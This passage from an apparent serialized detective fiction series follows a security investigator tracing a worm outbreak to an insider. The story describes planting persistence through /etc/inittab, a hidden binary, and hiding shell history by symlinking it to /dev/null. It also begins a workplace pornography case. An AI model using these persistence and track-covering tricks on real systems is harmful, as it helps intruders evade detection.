“What’s up Cedric?” she asked loudly.

“Just got a call that internet e-mail isn’t working. You doing something?” Cedric asked.

“Yeah, we just disconnected from the internet. Send out an e-mail, would you?” Cookie joked.

“Very funny, boss.” Cedric replied as he appeared in front of us.

“Cedric, I was just asking Cookie if she remembered…” I said but was quickly interrupted by Cookie.

“Mail! Mail! Holy killer cat box, it was MAIL!” Cookie said as she slapped herself on the top of the head.

I was beginning to become concerned for her sanity.

“Chief, the mail server! That’s the server that started giving us issues first. It was just a day or two after those problems that all of this network nonsense started! I’m sure of it!” Cookie exclaimed.

I picked up my phone and dialed Scrap.

“Yo.” Scrap eloquently answered.

“Scrap, Cedric is on his way over to your location. I want you to pull the logs off of their mail server. It’s an exchange server.” I barked.

“Roger that.” Scrap said as he disconnected.

Cookie and I spent some more time together going over recent events and trying to map out an intelligible timeline of events, starting with the mail server issues that she described. The timeline was incredibly helpful.

According to Cookie their mail server stopped responding to incoming and outgoing mail one day. After performing a number of basic troubleshooting steps they resorted to rebooting the server and the problem went away. The next day at approximately the exact same time the issue happened again. After a reboot, the problem went away again. This cycle repeated itself once more and then stopped occurring. However, shortly after the problem disappeared on the exchange server they started to notice misbehaving network traffic, traffic spikes and self-induced denial of service attacks. The mail server was the obvious place to take a first look.

ring

Scrap was calling me with what I hoped to be good news.

“Chief, I’m on my way back over there with the logs on a flash drive. I hope you’re in the mood to do some event correlation, man!” Scrap said.

I was more excited than waiting for a liver biopsy.

Scrap arrived shortly thereafter and we began the long tedious process of looking through the server event logs, messaging logs, and application logs. Cookie and Cedric didn’t believe in log rotation, so we had some rather large log files to look through. While a bad system administration practice, this may have worked to our advantage by providing us an adequate event audit trail.

“Oh, what do we have here?” I said as I rolled up and down through the system logs.

“What ya got, boss?” Scrap queried.

“Interesting. Just before each outage on the mail server, the anti-virus service on this server stops and reloads itself. When we correlate that to the mail log, it appears that a certain e-mail is being scanned for attachments at each one of those times.” I mumbled.

“Are you thinking what I’m thinking?” Scrap asked as his eyes rolled across the logs on my laptop’s screen. “Paydirt?”

“Payload.” I responded.

65366-080506-570793-36

Source: archived original

Part VII · Jun 17, 2008

“Why me?” Cookie moaned as she stared into the ceiling. “Why can’t this stuff happen to someone who doesn’t have to go home and knit small colorful costumes for her cat’s talent show?”

Scrap and I stared blankly at each other. Neither one of us could blink for the fear that we’d bust out in inappropriate laughter.

“Cookie, we’ve been through your mail server logs and we’re now 100% positive that we’re looking at either a mailer exploit or some kind of anti-virus software exploit. We’re not going to know more until we start tearing apart the e-mail (or e-mails?) that keep triggering this behavior. I need you and Cedric to do something important for me. Can you do that?” I asked.

Cookie and Cedric both nodded affirmatively.

“Good. I want you to visit your neighbors upstairs. According to your firewall configurations you’re forwarding smtp traffic up to a single box on each of their networks that I’m assuming is a mail transfer agent of some sort. Bring me log files. You now know what to look for.” I barked.

“Roger that!” Cedric hollered as he headed towards the stairs.

Scrap was rubbing his eyes with his paws while scanning through the raw traffic dumps that he’d collected earlier using Ethereal [Edit: Ethereal is now called ‘Wireshark’].

“Chief, we’ve seen a lot of bizarre stuff in our travels but this is just monkey madness. I’ve pieced together what I think is a rough example of what is going on when these network hemorrhoids flare up.” Scrap said with a grin.

Thanks for that image, Scrap.

I stood behind Scrap and reviewed his notes.

By George, he was on to something.

“Let’s run it down. Go.” I said with a snap of my fingers.

“Bogon e-mail is received by the mail server. Either the MTA or some other process on the server barfs on the e-mail and some type of code execution takes place. The mystery code that I’ll call ‘Scooby’ then tries to make an immediate unencrypted IRC connection to irc.badguy.foo. It’s logging in to a channel called ‘wtfover’ and receiving a series of instructions from what appears to be a bot named ‘Fred’. Scooby disconnects from the channel and then…” Scrap trailed off as he brought up a series of terminal windows.

“And then, it starts scanning the local subnet for hosts. When it finds an active host, look at what it does… do you recognize that pattern?” Scrap asked with both eyebrows in a Spock formation.

I chuckled. “You have to be kidding me. That’s a buffer overflow attack… it’s old… wait… if they keep their workstations as updated as they do their servers… oh dear God!”

“Exactly. This thing infects everything on the local subnet. All of those boxes then repeat the process and check in with the channel over and over again.” Scrap reported.

“So let me guess… eventually ‘Fred’ tells them to go to sleep?” I postulated.

“Bingo! But sometimes Fred doesn’t want the litter of Scoobys to sleep. He wants them to be bad puppies.” Scrap said dramatically.

“How bad?” I asked.

“How about search-the-local-file-system-for-keywords bad?” Scrap said as he pointed to a command sequence intercepted from Fred.

“Wait, you mean this thing back-hacks itself into a network, and then periodically looks around? It’s a freaking spider bot?” I asked. “What the hell is it looking for?”

Scrap scrolled down the command sequence and tapped on the screen.

s/ISO/AVI/MPG/MP3/MP4/JPG/GIF/TIF/TIFF/RAW/DOC/CSV/XLS/PPT/TXT/RTF/

“Looks like we have a warez bot infestation. Wouldn’t be the first one we’ve ever seen.” Scrap said.

I pondered the commands on the screen and rubbed my chin with a paw. I removed my phone from my pocket in a robotic fashion and quickly dialed a number.

“Kip? Chief. Just exactly what kind of production work do you and your neighbors do here?” I asked.

“Why?” Kip asked.

“Because you have more fans than you’re probably aware of. And not the kind that you want.”

Source: archived original

Part VIII · Jul 29, 2008

Click. Click.

“That e-mail has to be here somewhere!” I murmured to myself as I looked through the E-mail quarantine directories on the exchange server. I was determined to find one of the E-mails that kept causing the anti-virus process to reload itself.

Unfortunately for me, the anti-virus logs were lacking in detail. I manually scanned through each E-mail using the date and time as my approximate guide. It was a slow process and the chair in the server room was extremely cruel to my lower back as I worked on the exchange server.

“Chief?” a voice said cautiously behind me.

“Hey Cedric. What did you two find on your mail server log investigation?” I asked as I rubbed my tired eyes with my forefingers.

“We think we hit the jackpot. We found similar entries in the mail and anti-virus logs. The real interesting thing is that each of the exchange servers handles mail for completely different domains.” Cedric responded.

“Different domains.” I said while quietly postulating and scribbling in my notebook. “Interesting. I think it’s safe to assume that if all of the mail servers on each of the segments fell victim to this same attack, then an unknown number of machines on your neighbors’ networks were infected.”

Cedric nodded in agreement.

“Now we need the last piece of the puzzle.” I said as I continued clicking through the E-mail quarantine directory.

“And there… it… is!”

Cedric walked up behind me and glanced over my shoulder. “There’s what?”

“The mysterious E-mail that pains your mail servers.” I responded in an increasingly louder voice. “And look at that! It has meaningless text in the e-mail that appears to have been copied out of a bad Nancy Drew book and a very unfriendly-looking attachment.”

I picked up my phone and dialed Scrap.

“Yo.” Scrap answered.

“I’m ready to test your theory.” I said. “Are you ready?”

“Affirmative. The taps are still in place. Call it.” Scrap replied amid a lot of typing noises in the background.

“Plug us back in.”

Source: archived original

Part IX · Jul 29, 2008

“3… 2… connection restored.” Scrap said over the phone as he jacked the PIX firewall back onto the Internet.

“Hold on to your ponies!” I exclaimed as I right-clicked on the suspect E-mail and selected “scan attachment”.

Within seconds event viewer was showing a service failure by the anti-virus scanning service and a quick restart.

“Scrap - confirmed. The anti-virus service just reloaded itself after the scan. You should see a…” I said but was cut off by Scrap.

“BAM! There it went. Just saw that ping post go sailing by. Here comes the reply. Traffic levels are increasing. It’s the same as before. I think we can safely say that we isolated the issue.” Scrap announced on the phone.

“Pull the plug. Strategy meeting in the IT conference room in five minutes. Let’s round everyone up.” I barked as I disconnected the call and looked around for my notebook. Things were about to get even more interesting.

Cedric and I wandered down to the conference room and met Scrap, Cookie and Kip. I pulled out a chair from the end of the conference room table and jumped right in.

“We are at the moment of decision, folks. We have established what is causing the network outages and we’re nearly complete in our assessment of how much damage has been done to the machines on both this network and your neighbors’ networks. Obviously these companies can’t stay removed from the internet forever. We need to.. well, you need to make a decision on how you want this situation dealt with.” I said.

Kip maintained eye contact with me and nodded in understanding.

“Scrap and I are going to suggest two approaches to your situation. One is cheap and quick, the other is expensive and will take a good deal of time. Here are your options. Scrap, please do the honors.”

Scrap shifted his weight in his chair and cleared his throat. “The first option is to have us take a tactical approach to the problem. We’re going to need to fix the issue on the mail servers and then clean them of any malware or cruft. If we determine that they are not salvageable, then we’ll need to reload and rebuild them. At that point we’ll need to take a similar approach to all the workstations. Only after a thorough review and certification process should any machine go live on your network.”

I scanned the room and noted that everyone was aware of that requirement.

“The second option is that we treat this like a crime scene. The network would stay locked down and forensic copies of all affected machines will be made. Research would be done to determine if this was an isolated case of an errant bogon E-mail, or if this was a targeted attack. During our research we would work with your staff to implement the salvage operations in the previous option after we have determined that no additional evidence can be gathered at the scene.” Scrap concluded.

Kip’s left leg was bouncing up and down and he was pinching his lips with his right forefinger and thumb. After a few seconds of contemplation he sat straight up in his chair and looked directly at me.

“Option two. I need to know!”

Source: archived original

Part X · Oct 22, 2008

Scrap and I had clocked nearly an entire week of billable hours since Kip’s request for help. We rigged a temporary network of sanitized machines behind a known good firewall for temporary internet access and were nearly done with our forensic examinations and rebuilds of all the servers.

We were beat. Clues were few and far between. Scrap forgot to wear deodorant two days in a row.

Our luck was about to change.

“Chief, do you have a minute?”

Cedric’s voice woke me from a numbing gaze at my laptop’s screen.

“Sure. What’s up?” I replied.

“I was updating our network documentation for Cookie and I spotted a machine that I completely forgot about. It’s a machine that I think might be of some help.” Cedric said.

“Cedric, we’ve torn down every server in this place. What are you talking about?” I queried.

“This.” Cedric said as he pointed to a box on a visio diagram labeled “Piggy”. I noticed that the box was jacked into the same switch as the router. My mind performed a quick network nerd calculation.

“Span port configuration? Cedric, is that a SNORT box?” I asked with a look of astonishment.

“Yes it is, Sir.” Cedric replied. “That box was my personal project while working towards a security certification.”

I took a sip of my cold coffee and sat up straight in my chair. I was completely taken aback by this event and felt guilty that I had sold Cookie & Cedric’s technical skills short on our arrival.

“Hell yes that’ll help! Let’s get Scrap in here.” I announced.

“Already here, boss. What’s up?” Scrap said as he bounced into the room, nearly knocking me off my chair.

Cedric filled Scrap in on his project and proudly displayed a web-based console to the box based on BASE. BASE is the Basic Analysis and Security Engine which was developed from the code of ACID, or the Analysis Console for Intrusion Databases. The interface was very useful and allowed Cedric to perform quick queries of the SNORT IDS system.

“Hell ya.” Scrap nearly yelled as he buzzed through the SNORT logs at a lightening pace.

“While you’re having fun there Scrap how about looking for some events occurring before and after our little network outages?” I asked.

Scrap clicked around the screen like a highly caffeinated security Mozart. Within a matter of minutes we were scrolling through some interesting events.

“This is beautiful, man. It looks like shortly before those outages occur, a sneaky little SMTP transaction is executed to check the banner on the mail server. The banner reveals both the mail server type and version… and the version of the anti-virus software.” Scrap proudly announced.

I popped up an eyebrow on this news. “So if this happens every time, we should be able to go back through the SNORT logs and find the first time that query happens. What are the odds that it’s coming from the same IP address?”

Scrap wore a large smile on his face and cupped his hands behind his head as he leaned back in his chair.

“I’ll take that bet, boss… because they are all coming from the same IP address.”

I looked at the IP address highlighted on the screen. Before I could open my mouth, Cedric made a small squeaking sound and proceeded to drop a bombshell on us.

“I know that address!”

Source: archived original

Part XI · Nov 14, 2008

“I beg your pardon?” I asked after fully digesting Cedric’s admission. “You KNOW that address?”

“I sure do. That box is at Cookie’s house. It’s a company-owned machine that she uses to monitor the network. It’s a linux box. I built it myself about a year ago while I was in night school.” Cedric said. “But how are these attacks coming from that box? That makes no sense.”

Scrap glanced at me and rolled his eyes in frustration. I knew what he was thinking. We had seen this situation far too many times and had become nearly numb to discoveries like this one. For whatever reason IT folks tended to assume that boxes on their home networks were safe and immune from the same security threats as their work networks.

I rubbed my eyes for several minutes while Scrap wandered over to Cookie’s cube and interviewed her again. I thought really hard about all of the facts of this case. We now knew that a single box at Cookie’s house was responsible for probing the network, crashing the mail server, executing some arbitrary code, scanning the local network for vulnerable machines, installing malware, scanning all of the local file systems for specific file types and then reporting back to a master of some sort through a http ping.

But what was the motivation? Why hadn’t we witnessed any files actually copied off the network? Why would someone simply inventory a location, ping a web server, relay some IRC traffic and then disappear for a while? And, why would they do so in such a loud and noticeable manner?

“Boss - check this out. Cookie actually has an ssh connection open to that very box right now. She wants to know if we want to look around?” Scrap queried.

“Absolutely.” I replied as I followed Scrap over to Cookie’s cubicle and took a seat in front of Cookie’s computer.

Typically I would have taken a snapshot of the running processes on the box, the contents of RAM and then imaged the box. For this particular case, I followed my gut and dove in head first.

A quick ‘ps -aux’ showed nothing of interest. There was nothing in any of the crontabs, nor was there anything interesting in the logs.

“Scrap, plug us back in.” I said without turning my head.

“You want me to plug the network back in to the router? Say what?” Scrap asked.

“Just do it.” I mumbled. Scrap turned and left the room.

A few minutes later Scrap reported back that the network was up.

“Keep your eye on piggy. If I see anything weird on this box I want to be able to correlate it to…” I trailed off as my keystrokes froze.

“What the?” I asked as I pounded the keyboard with my paws. My ssh session was dead. We weren’t using the local LAN - we were using the secondary network that Scrap and I had set up while doing our examinations.

“That happens all the time.” Cookie said. “That box has a bad power supply. It reboots when it wants to.”

I pinched the crown of my nose with my fingers in an effort to not shake my head.

“Is it going to come back up?” I asked quietly as I pinched tighter.

“Sure, it’ll come back in a couple of minutes.” Cookie said with a laugh.

“I’ll be in the little monkey’s room. Be right back.” I growled as I lifted myself out of the chair and wandered toward the restrooms.

“Chief! Hey, where is he?” I heard Scrap asking outside the restroom.

I was in the middle of washing my paws when the restroom door swung wide open and Scrap slid through the door.

“You were right!” Scrap exclaimed.

“Right? What was I right about? I didn’t say anything…”

“About plugging the network back in. I just got a ping from Cookie’s box!” Scrap said while rubbing his paws together. “What did you do?”

I dried my paws with a paper towel and tossed the crinkled mass a few feet across the bathroom into the wastebasket.

“I think I have this figured out.”

Source: archived original

Conclusion · Apr 3, 2009

“What’s he doing?”

Cedric was whispering questions into Scrap’s ear as I busily typed away into a shell window.

“He’s doing what he does. He’s looking for a contact lens in shag carpet.” Scrap joked as he watched me searching through files on Cookie’s remote machine.

My paws stopped moving melodically over the keyboard and I exhaled loudly. Tension filled the room.

“Very sneaky.” I blurted out as I opened a file that was discovered by my carefully crafted grep command.

Scrap scratched his head and leaned in a bit closer. “Aw, that is just EVIL.”

A glance inside /etc/inittab, the general process “dispatcher” of the linux system, revealed a line that looked like this:

pf::powerwait:/etc/init.d/powerfail

which looked a lot like the original line that shipped with the system:

pf::powerwait:/etc/init.d/powerfail start

I nearly missed it.

This was an instruction to the system to execute /etc/init.d/powerfail after power was restored. Execute the file, wait for completion, then move on.

An inspection of /etc/init.d/powerfail revealed a single entry:

"/root/.kde/sentinel”

This was a dead giveaway. Not only was the KDE desktop environment never installed on this system (as verified by Cookie), but the directory permissions on the directory were all wrong:

drwxrwxrwx 2 root root 4096 2001-07-14 12:31 .kde

The KDE preferences directory permissions for a user would never be 777!

This rabbit hole was pretty deep. I had a hard time keeping up with my fingers as they checked the file type of “sentinel”:

$file sentinel

sentinel: ELF 32-bit MSB executable, ARCH, VX+ Required, version 1, for GNU/Linux 2.2.0, dynamically linked (uses shared libs), for GNU/Linux 2.2.0, stripped

_It’s a binary. Nice. Someone dropped a kit on this machine, but did a reasonably good job at covering their tracks. But what about the content? Was it compiled on this machine or elsewhere? _

$strings sentinel

Several key strings appeared including the callback URL that was found previously, various file type extensions, and… the IP of the mail server? I thought back to Scrap’s comment days ago when we presented Kip with his two options and my currently tingling spidey-sense. Maybe this was a targeted attack?

Scrap, like all great investigative partners, was reading my mind and decided to share our assumption with those standing close by.

“We need a reload on coffee, and this is looking like a very targeted attack now. Typically one would find code that computes an array of IP addresses for recon and exploitation. This one looks like it was made to attack your mail server.” Scrap said calmly.

By the time Scrap had re-focused his concentration on my mad typing, I had already started to dig for the source of this mysterious sentinel application. A quick find command verified that there was no development environment on this system - it was a default install of the distribution. Interesting.

Netstat verified that there was only one listening service on the entire box: sshd. Searches through /var/log showed no evidence of previous services being installed or used to transfer files. No evidence of log erasing or activity hiding were evident until I did one quick scan for a well known trick.

$ sudo find / -name .bash_history -type l

/home/admin/.bash_history

$ ls -la /home/admin/.bash_history

lrwxrwxrwx 1 admin admin 11 2001-07-14 12:28 .bash_history -> /dev/nul

“Holy linkage to nowhere. That shell history log is symbolically linked to /dev/nul. Nice way to cover your tracks!” Scrap exclaimed.

“It gets better.” I touted as I flipped back through my notebook. According to Cookie’s timeline and the evidence gathered so far, this symlink was created just minutes before the ‘sentinel’ binary was created, and THAT was just a few minutes before the very first payload e-mail was processed by the mail server.

Cookie scowled. “I have a question. I just watched you look through the sshd log file, and there were no logins by that user. How is that?”

“Easy peasy.” I said. “Your logs rotate weekly, and you only keep 4 weeks worth of logs according to your logrotate.conf file. Any evidence of those logins was erased months ago. But I have a feeling that you know who used that admin account, don’t you?”

Cookie’s expression was growing uglier by the second. Scrap was on to me and played dumb. Cedric appeared completely lost.

“Unreal.” Cookie lamented. “Son of a …”

“Can I see how close I am to what happened here?” I asked Cookie while raising both of my eyebrows.

“Sure.” Cookie replied, still steaming about her revelation.

“PPP Productions has been buying up a lot of other production houses. What PPP really wants is the intellectual property of these companies, so they end up letting a lot of staff go and absorb the IP into their existing portfolio. During the last purchase, which coincidentally included every production house in this building, PPP management starts the latest round of layoffs. That’s why this building and the parking lots are nearly empty. Our suspect starts to fear for his own job and devises a plan to keep himself employed out of the necessity for his skill set. How am I doing so far?” I asked.

“Fine.” Cookie blurted out as she hung on my every word.

“The suspect uses his security background to hatch a pretty interesting plan. He has to create a situation where those in power would not question the need for his existence. He has to do it in a way that won’t point back to him, and will look so elaborate that everyone will assume it’s an organized crime group or a bunch of kiddy haxors. The plan unfolds with a misdirection; placing the source of the disruption on a box that is owned by someone else with the technical knowhow to accomplish the task, however assuming that nobody would ever put all the pieces together and look at this linux box.” I said with a glance towards Scrap, sending him a non-verbal hint.

Scrap cleared his throat. “The second stage was to figure out a creative attack vector. The suspect knew all of the technical specifications needed to find some attack code on the net, craft it to exploit a vulnerability on the mail server’s anti-virus software, and then unleash a trojan/worm to cause mayhem. The objective was to create havoc, make a lot of noise, but not actually do anything that a typical attacker would do like set up a bot master platform, a huge warez site or steal files. The fact that it kept doing it over and over was a complete accident, thanks to your failing power supply. It was only meant to execute every time you happened to reboot, which on a linux server is typically quite infrequent. The sequence went something like

SMTP transaction to check mail banner

Send payload e-mail

E-mail parsed, explodes, launches malware

Sends HTTP POST to command server

Gets REPLY with list of targets

Scan local subnets

Propogate with new command set

Scan local file systems

Report back/forth with IRC command centers

and then die.”

“And the ultimate subterfuge, which we’re well acquainted with, is to bring in the ’experts’ to increase the severity profile of the incident, all the while confident that the ruse will never be figured out. Unfortunately for the suspect, he was wrong.” I explained.

Cedric gave the international “time out” signal with his hands. “Hold up, Chief. Everyone seems to know what’s going on here. Who are we talking about?”

“The one person who should not have been, but was, absent throughout the majority of this investigation.” I replied.

Cedric thought for a moment and then repaid me with a wild-eyed stare.

“KIP!”

=*=

Four days later, Scrap & I were on a plane to our next gig. Our case work at PPP had been exhausting, frustrating, and just plain strange.

Cookie had arranged for us to meet with Kip’s manager, who happened to be a Vice President within PPP. Scrap & I presented our findings in a clear and easily understood manner. Cookie & Cedric took turns providing additional details and color. The VP gave us permission to search Kip’s office and image Kip’s laptop’s hard drive. It took us less than a day to find the incriminating artifacts that included source code to bots, trojans and worms. One particular source tree actually compiled into the binary that we found on Cookie’s linux machine. The bow on the proverbial present was finding ssh commands to Cookie’s linux machine in Kip’s shell history.

Kip was suspended with pay until PPP could have another investigator review our report.

One week later, Kip was unemployed, and the new security monkey of PPP moved into her office - complete with pictures of cats in costumes.

Source: archived original

26. Case Of The Tenacious Timelord

Wed, 23 Sep 2009 00:00:00 +0000

Part I · Sep 23, 2009

“I’d love to know what he’s staring at.” I thought to myself as I glanced up from the screen of my powerbook and met the gaze of a gruff looking man, complete with trucker cap and overalls. He quickly looked back down at his cafe menu and took another drag off of his cigarette.

I suppose that I probably stood out in this rather small cafe in the middle of nowhere, Arizona. I was dressed business casual with a warm and rather uncomfortable matching sports jacket. Ordinarily I’d never be caught dead in a desert climate with sheep clippings covering my body, but business protocol dictated that I dress in the most uncomfortable fashion.

The trucker glanced up from his menu again and held my stare this time for a rather uncomfortable amount of time. I was half tempted to sip my coffee and return to reviewing my notes on my laptop, but curiosity was getting the better of me. Who was this guy? Did I know him? Did he know me?

The ring of my cellphone stirred my trance-like state. I pawed randomly for it on the table in front of me, nearly knocking my coffee off of the table.

“Chief.” I mumbled into the phone while covering the receiver with my other paw.

“Hey sunshine, how’s it going?” Scrap asked from the comfort of my couch, many unfathomable miles away.

“I’ve been better. No call from Maria. I’m camped out at Cafe Deerhunter trying to, uh, fit in.” I replied.

“Good luck with that. Don’t sweat the call from Maria, I’m sure she’s up to her pits in attorney-foo right now. I do have some good news for you.” Scrap bragged.

“I’m not going to have to do my best ‘pig’ impersonation before the day is through?” I joked.

“No guarantees there, boss. I examined all four million lines of the proxy log data you sent back here to the lab, and…”

Scrap didn’t get to finish his sentence, because my phone was suddenly removed from my ear and dropped on the floor.

“I know you. I KNOW YOU.” came a deep, gravely voice from beside me. I instinctively slide to the opposite side of my seat and glanced up to see the same trucker cap-wearing individual glaring at me.

“Excuse me? Can I help you?” I politely responded as I eyed the condition of my beloved cellphone on the ground.

“You’re that lawyer from the city. You’re putting Randy away!”

I glanced around the room to see everyone else in the cafe enjoying a free episode of “Redneck Rampage: The Series” starring yours truly and trucker cap man.

“Hold on a second, buddy. I think you have me mixed up with someone else.” I said as I stood up and inched closer to my cellphone.

“Naw, I’m sure of it. You and the rest of them guys are down at the meeting hall. Randy told me all about it. He didn’t do it. If Randy said he didn’t, then he didn’t!” bellowed my new country nightmare as he eyed me bending down to pick up my still flipped-open cellphone.

The pieces of this chess game suddenly appeared on my board. He was mistaking me for my client’s attorney, George. I was the assigned investigator for the defense of Tom, a worker at the nearby smelter plant that had been accused of browsing pornography on his computer during his shift. George and his paralegal Maria were utilizing my investigative expertise to exonerate their client and place the blame where Tom knew it belonged: with his coworker, Randy.

Trucker cap man took another step towards me and was breathing rather loudly out of his mouth, a sure sign that I wasn’t going to get a chance to order any pie to accompany my coffee.

“Scrap…” I said into my phone. “I’m going to have to call you back.”

Source: archived original

Part II · Sep 23, 2009

“Hold on a second, you really do have me confused with someone else!” I said as I raised my hands in front of me, constructing a nice two foot gap between myself and the growing threat of physical violence against me and my phone.

“Yeah, well I saw you down at the meeting hall, and so did my buddy over there!” trucker cap man announced as he pointed to another unshaven man sitting at the cafe counter.

I slowly dipped my right hand into my sport jacket’s inner pocket and removed a business card. I placed it on the table in front of my new adversary.

“No, really. I’m not an attorney. I’m an investigator. I don’t want any trouble, and I’m sure you don’t either.” I said as I moved my right hand above my right hip and then safely under my sport jacket. I took a classic law enforcement self defense stance and raised my left hand higher to distract his focus. Next to running out the door faster than Jesse Owens, this was my only alternative.

“I think you should turn around, pay your tab to Becky over there and leave.”

My very risky broadway-quality performance had peaked the interest of the cafe onlookers enough to prod one of them into talking some sense into my newly found foe.

“Morris! Come on man, you don’t want to be messin’ with them types. He’s probably a cop or one them military spooks from down south. Let’s go.” came a not-so-melodic request from Morris’ previously mentioned friend at the counter.

Morris took a few seconds to size up the possible trouble he could be in, walked slowly back towards his friend, tossed a few dollar bills on the counter and left. I maintained my stance until I was sure the he had made his way down the drive towards the parking area, and then casually returned to my seat. If only I had brought a change of underwear.

I immediately re-dialed Scrap and filled him in on my taste of country kindness.

“Holy crap, Chief! Wait, you were packing heat? Even with a concealed carry permit, that’s just not your style.” Scrap exclaimed.

“Not to worry,” I said with a grin as I patted my belt just above my right hip, “but he almost got a taste of my cellphone holster.”

Scrap was apparently lost in laughter and coughing up a lung while I tried to inquire about his previous success with proxy log files.

“Oh, right, the files.” Scrap said. “I was going through your case notes that you sent over, and analyzed the files with your hunch in mind.”

Scrap’s voice grew quiet in my ear as my mind drifted back to the events of the past few days.

===

“Thanks for joining us Chief. It’s a pleasure to meet you.” said George through a mouth of newly-bleached white teeth. George was tall and slim, and his rather expensive suit hung to his frame like a freshly arranged set of curtains.

He introduced me to his paralegal, a rather exotic-looking Latin woman named Maria. We had exchanged no more than a few words before George was dragging me around his new legal office on the tenth floor of a beautiful building in Phoenix, Arizona.

“I hear you like coffee. You aren’t going to believe the coffee machine that I picked out. You can pick your bean, grind preference, everything from these controls!” George said excitedly as he brewed me a cup of coffee and invited Maria and I to join him at a comfortable break room table.

“Chief, George and I have been retained by the family of a gentleman named Tom that works at the smelter plant up north. Tom has been with Ore, Inc. nearly his entire adult life. He has a clean record both at the company and in the eyes of the law. He’s been accused of a rather nasty breach of company policy regarding usage of a computer located in the plant.” Maria said after a quick swig from a water bottle.

“Interesting.” I replied. “What kind of a breach of policy are we talking about?”

“Viewing pornography on a frequent basis.” George stated in a very official tone.

I took a sip of the caffeinated beverage in front of me and slowly placed the cup back on the table.

“This seems like a pretty big legal response to viewing naked women on the job?” I pondered out loud.

Maria and George exchanged a glance.

“He wasn’t looking at women.”

Source: archived original

Part III · Sep 29, 2009

George read the expression on my face well. He prompted Maria for a manilla folder that she had been carrying. George opened the folder carefully and slid several sheets of paper across the table. I immediately noticed that the pages were face down, and probably contained images due to the massive color ink bleed through of the paper.

“I should caution you that these prints are rather graphic and were pulled from websites that were supposedly accessed by our client.” Maria said in a voice just above a whisper.

I slammed the rest of my coffee down as if it were laced with bourbon and turned the pages over one by one like a large deck of playing cards.

At first glance I knew two things. I was cognizant of the fact that both my cup of coffee and breakfast that I had eaten earlier were considering coming back to visit me via their method of entry into my stomach. I was also fully aware that this case had implications that were far above looking at naked women on ones lunch hour.

The pages were screenshots of a website that catered to consumers of a cornucopia of activities that ranged from video taped (simulated?) male rapes, “water sports”, humiliation, bondage and… animals.

I placed the pages back on the table and exhaled loudly.

“Just when you think that you’ve seen it all.” I moaned as I opened my notebook and began jotting down notes.

George placed the pages back into the folder and took a moment to compose his thoughts.

“You can clearly see the ramifications of being found guilty of viewing these types of things in a workplace, and the double damnation that would come from living in such a small town.” George stated.

“I’m totally following you. I’m guessing that this surfing activity was recorded somehow, the employer viewed these sites, and here we are?” I asked.

“You are quite correct.” George replied. “Through the discovery process we were able to determine that the company logged all internet access through a proxy server that is located at their corporate office in California. There is no Internet point-of-presence at the plant. Ore provided us with the logs that were used in Tom’s termination hearing, and they are very much leaning towards solving this ‘issue’ through mediation rather than a court appearance.”

“Mediation? Interesting. Did you also request a certified copy of the hard drive of the workstation? Was chain of custody preserved? Do we have any additional technical details on how their network is put together? Who did the initial investigation on Ore’s side?” I asked without even looking up from my notebook.

My questions were met with silence. I looked up to find George and Maria raising their eyebrows at each other again, which I had now learned was never a good sign.

“Well, we’ve run into a stumbling block with our e-discovery requests.” George responded.

“Really?” I asked in a much too nervous voice. “Oh don’t tell me…”

“That’s why we called you.”

Source: archived original

Part IV · Oct 5, 2009

“So let me get this straight.” I said as I peered out of my window in the backseat of George’s car as we rounded a dusty dirt road towards the headquarters of Ore, Incorporated. “You sent over an e-discovery request for all items pertaining to this matter ‘including but not limited to the hard drive of the PC with chain of custody attached, certified Internet access logs, worker time sheets including the badge entry system…’”

“Yes, yes we did. We received a box of log files, and a printout from their time & attendance system.” George replied as he motioned for Maria, who was sitting quietly in the shotgun position, to hand him a bottle of water. “It’s been one delay after another. I swear, if we were going to court I’d have a judge so far up their…”

“But, quite magically, all of these items are available for pickup now?” I queried as I scratched my head with my paw.

“Like we said back in the office over coffee, Ore’s legal representative called this morning and asked that we pick up the items and verify that everything is there. Your participation in this is, well, important.” Maria said with a flirty smile.

“So it is.” I responded as our car approached the aged and copper dust-stained security gate for the plant. The guard was apparently on the lookout for three strangers in a BMW, or he was angry that we were arriving during his late lunch time, because he waved us through the gate with two quick motions of his left arm and then disappeared into the confines of the guard station.

George masterfully whisked the BMW around several sharp curves in the road and came to sudden halt in front of the plant’s main office.

“This is right out of the Flintstones.” I mumbled as I exited the car and took in the view. The office was aged and stained copper and green like the front gate. The sound of heavy trucks driving around us at a slow but steady pace was deafening. The heat, even for Arizona, was amazing. It was like opening the oven on Thanksgiving day to check on the turkey and having a wave of dry, hot, temperate air assault your face and not apologize.

“Chief, this way.” Maria yelled as she guided me up the wooden steps to the front door of the office.

I eagerly climbed the steps and thought about how great a shower would feel considering that I now had copper-colored dust in places that I didn’t even know I had places.

George held the door open for Maria, and she politely held the door for me. Within seconds of entering the office I could feel the cool breeze of an overworked air conditioner, and hear the unusually high voice of the receptionist exchange words with George and Maria.

“Someone is coming to get us.” Maria said in my direction, seconds before a new figure appeared in the doorway behind the receptionist.

“Welcome to Ore.” the figure said as he approached our group. “I’m Chris, the HR manager here at Ore. I was instructed by a… oh what was her name…”

“Somebody in legal?” Maria blurted out.

“Yes! From our legal department. I suppose her name is unnecessary at this point. If you’ll come this way I have the items that you requested. I’ll need you to sign for custody and receipt of these items.” Chris requested as he motioned us into a small room, furnished with a single metal table that supported a banker-style cardboard box.

“Here you go.” Chris said as he popped the top of the box and placed the contents in front of us on the table. “A tagged and bagged hard drive thing… here’s the chain of custody form… sign there please… here’s a ‘write-protected floppy disk’ that contains the badge entry logs, and a printed copy directly from the same system for your perusal…”

George meticulously signed off on each form as Chris read from the inventory sheet.

“Oh, and here’s the bundle from HR corporate. This has both Tom and Randy’s personnel files.” Chris announced as he placed a large sealed envelope on the table.

“I hope you don’t mind if I open this.” George said as he put down his pen and cracked open the envelope. Inside the envelope were two folders, each with an orange sticker on the tab next to the employees’ names.

“What gives with the orange stickers?” I asked out of morbid curiosity.

Chris pondered my question for a few seconds. “Orange? That means they both work in the plant on the control side.”

I pondered Chris’ response. “In other words, they are desk jockeys? They watch gauges and screens and stuff?”

“Bingo.” Chris said excitedly. “It’s shift work. I helped write the brief that our legal team sent you. Both employees have the same job code, they just work on different shift teams.”

I made several notes on my notepad, and was surprised that Chris was as talkative as he was. I had always found human resources managers to be less than friendly at times like these.

“Tom and Randy got along at work? No workplace issues?”

“It’s in the brief.” Chris said after a sudden realization about lips being loose and ships sinking.

“Chris, I really appreciate you meeting us and handing this over personally. Would you mind showing Chief the control room that you showed me and Maria on our initial visit here? He’s our assigned investigator on this case.” George asked Chris with a showing of his freshly bleached teeth.

Chris looked at his watch. “Well, it has to be quick. I have another appointment.”

